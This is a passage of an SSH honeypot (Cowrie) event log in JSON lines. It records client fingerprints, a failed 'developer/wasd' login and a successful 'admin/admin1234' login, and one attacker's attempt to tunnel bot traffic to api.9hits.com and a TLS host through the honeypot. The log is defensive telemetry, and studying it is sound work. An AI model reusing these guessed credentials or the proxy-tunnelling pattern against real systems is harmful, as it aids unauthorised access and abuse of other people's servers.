{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:00.510970Z","src_ip":"91.92.40.36","session":"8056ee96d911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"wasd","message":"login attempt [developer/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:05.295694Z","src_ip":"91.92.40.36","session":"8056ee96d911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":58445,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b0128e4632b","protocol":"ssh","message":"New connection: 113.164.152.20:58445 (10.17.0.5:22) [session: 5b0128e4632b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:06.103006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:06.108258Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:06.419628Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17480,"dst_ip":"159.203.135.109","dst_port":22,"session":"dda273d1987f","protocol":"ssh","message":"New connection: 91.92.40.36:17480 (159.203.135.109:22) [session: dda273d1987f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:06.817759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:07.304723Z","src_ip":"91.92.40.36","session":"dda273d1987f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":54438,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cf05b03d2d4","protocol":"ssh","message":"New connection: 173.208.188.210:54438 (10.17.0.5:22) [session: 3cf05b03d2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:07.649103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:07.653809Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:07.663314Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:07.852289Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:07.869694Z","src_ip":"91.92.40.36","session":"8056ee96d911","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.083169Z","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35990,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f9cecd9e66c","protocol":"ssh","message":"New connection: 27.71.230.31:35990 (10.17.0.5:22) [session: 4f9cecd9e66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.160696Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.166682Z","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.232286Z","src_ip":"27.71.230.31","session":"4f9cecd9e66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.283158Z","src_ip":"91.92.40.36","session":"dda273d1987f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.368488Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.90 Mobile/15A372 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=U2lTNUclM0FQQ0A5TDxtQg%3D%3DS7nlEliR7Q7T%2FuZGkQeahX5Rk34WUBfTzdCC5odsF8EJwQobY8kfR5dOGQp6TGxyiVze5hiPa0hIt7E8vlEaYScyngc63lebMMWgTg9cRxER9dpDCBfAB%2B%2Bu7kgWzbLhJpKofrC0nrqCMikXViB5VlYNIFcsxvg4DzwZdVOSRw5VXW%2FYdx1YA1SWZpn5wRDHZJM1dWE59HBOiyHMk3PFg0TWLgRut1hmZud5F%2FEsSCHLzWgUTSxBp2luIMZ4npi4HyeJBkhKNcXrEPyYm8zhLp1vw1ZVPJ5E525uMwfjTgcoGfvN2pmLXvRWJ2gDvtEznJZlXjorQvdwQKHxhEs9zLaJljLv5HqdXcz8KHN8p16sWXsOnTnVSRrnFJFAhGUEzlhLW2MJwjsPzxCedIYcAIQcy6qJeMR6shcViRHKn2IqwEzNCO6uT5GaY74S4dLNs%2F9luWvCWTO59pLJ9hEpKtIDsM90uQ9sb72P6K7feU4b7H7Q4KKH8Sv74hzC0YvqQa%2FAerSiWk5lM8Mkycyf8RzkbgeupH2MHIuVoYX%2BHSfNn5ZMIpvu9yjUaErCL%2FO%2BxG4r2O1V6paT6wCLP61xDX9qARpb6s7D%2BrE4%2F1E2u3GIL%2BNjPvR86f5Y02mbEisD1cgu8WvJtlWiGuHHynljs%2FwB980uUrZIpO6F6L3picUd6IlLXyE%2B3%2BhRJGSyPsoZGy%2B7Yy3dO%2B41CMDM%2BXhew6PMZlAgzw11%2BUExkrGsZ1APNBtSsjcBczKxmp0m0fI9zvr%2BEf9b0HMSZunaM90aKu9%2BcWgrZ1OYxpdAw46i1iKZmlTyVXD9dg8ADY3vGty%2FCXO0DGq9Jt3pipnJOjcHK%2FA6mqeutD0wuNnsdHrZLOwKxbyIfoav9%2BcBWXRf15uWW2px6F%2BfJbCP6mplnpZGSRZxDTaBHyf7uf6k0nNz0LOyT4OzRk0eyeil%2BQ7wv74cUHfiTQq2YOyFO4C19O8C%2F7L3xv1g2L3iKlGhHddGixWakp%2Bmo1WJgxsCQyH%2FvsE%2BU2rlMX0PBGmK%2FuPbncL7z4iSr2Y2aXRIqqV%2BSzEyBKk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.90 Mobile/15A372 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=U2lTNUclM0FQQ0A5TDxtQg%3D%3DS7nlEliR7Q7T%2FuZGkQeahX5Rk34WUBfTzdCC5odsF8EJwQobY8kfR5dOGQp6TGxyiVze5hiPa0hIt7E8vlEaYScyngc63lebMMWgTg9cRxER9dpDCBfAB%2B%2Bu7kgWzbLhJpKofrC0nrqCMikXViB5VlYNIFcsxvg4DzwZdVOSRw5VXW%2FYdx1YA1SWZpn5wRDHZJM1dWE59HBOiyHMk3PFg0TWLgRut1hmZud5F%2FEsSCHLzWgUTSxBp2luIMZ4npi4HyeJBkhKNcXrEPyYm8zhLp1vw1ZVPJ5E525uMwfjTgcoGfvN2pmLXvRWJ2gDvtEznJZlXjorQvdwQKHxhEs9zLaJljLv5HqdXcz8KHN8p16sWXsOnTnVSRrnFJFAhGUEzlhLW2MJwjsPzxCedIYcAIQcy6qJeMR6shcViRHKn2IqwEzNCO6uT5GaY74S4dLNs%2F9luWvCWTO59pLJ9hEpKtIDsM90uQ9sb72P6K7feU4b7H7Q4KKH8Sv74hzC0YvqQa%2FAerSiWk5lM8Mkycyf8RzkbgeupH2MHIuVoYX%2BHSfNn5ZMIpvu9yjUaErCL%2FO%2BxG4r2O1V6paT6wCLP61xDX9qARpb6s7D%2BrE4%2F1E2u3GIL%2BNjPvR86f5Y02mbEisD1cgu8WvJtlWiGuHHynljs%2FwB980uUrZIpO6F6L3picUd6IlLXyE%2B3%2BhRJGSyPsoZGy%2B7Yy3dO%2B41CMDM%2BXhew6PMZlAgzw11%2BUExkrGsZ1APNBtSsjcBczKxmp0m0fI9zvr%2BEf9b0HMSZunaM90aKu9%2BcWgrZ1OYxpdAw46i1iKZmlTyVXD9dg8ADY3vGty%2FCXO0DGq9Jt3pipnJOjcHK%2FA6mqeutD0wuNnsdHrZLOwKxbyIfoav9%2BcBWXRf15uWW2px6F%2BfJbCP6mplnpZGSRZxDTaBHyf7uf6k0nNz0LOyT4OzRk0eyeil%2BQ7wv74cUHfiTQq2YOyFO4C19O8C%2F7L3xv1g2L3iKlGhHddGixWakp%2Bmo1WJgxsCQyH%2FvsE%2BU2rlMX0PBGmK%2FuPbncL7z4iSr2Y2aXRIqqV%2BSzEyBKk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.373551Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.645746Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\"EQ%3q\\xe2]F\\x8e\\x0e\\x05\\xec\\x0b\\x05\\x1e\\x06\\xe5m\\x90\\xb7\\xe9:\\x1a\\xa6\\r\\x81\\x8e\\xd4\\xf8] \\x0f\\x11\\x1e\\xea\\xb1I)\\xf6\\xf5,\\xc3Sx\\xa2[/FP\\x01\\x82S\\xd7\\x18E\\x7f\\x84\\xc7\\xb9TSz\\x18\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x95\\xbf\\xb6@\\xf0\\t8\\x16\\xff\\x9a\\xc3c\\xb2\\xad\\xcc\\xdcN`\\x01\\xc8\\'j\\x0ee\\x16\\xc3\\xedO\\x1e\\x0e\\xa4d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\"EQ%3q\\xe2]F\\x8e\\x0e\\x05\\xec\\x0b\\x05\\x1e\\x06\\xe5m\\x90\\xb7\\xe9:\\x1a\\xa6\\r\\x81\\x8e\\xd4\\xf8] \\x0f\\x11\\x1e\\xea\\xb1I)\\xf6\\xf5,\\xc3Sx\\xa2[/FP\\x01\\x82S\\xd7\\x18E\\x7f\\x84\\xc7\\xb9TSz\\x18\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x95\\xbf\\xb6@\\xf0\\t8\\x16\\xff\\x9a\\xc3c\\xb2\\xad\\xcc\\xdcN`\\x01\\xc8\\'j\\x0ee\\x16\\xc3\\xedO\\x1e\\x0e\\xa4d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.648095Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gc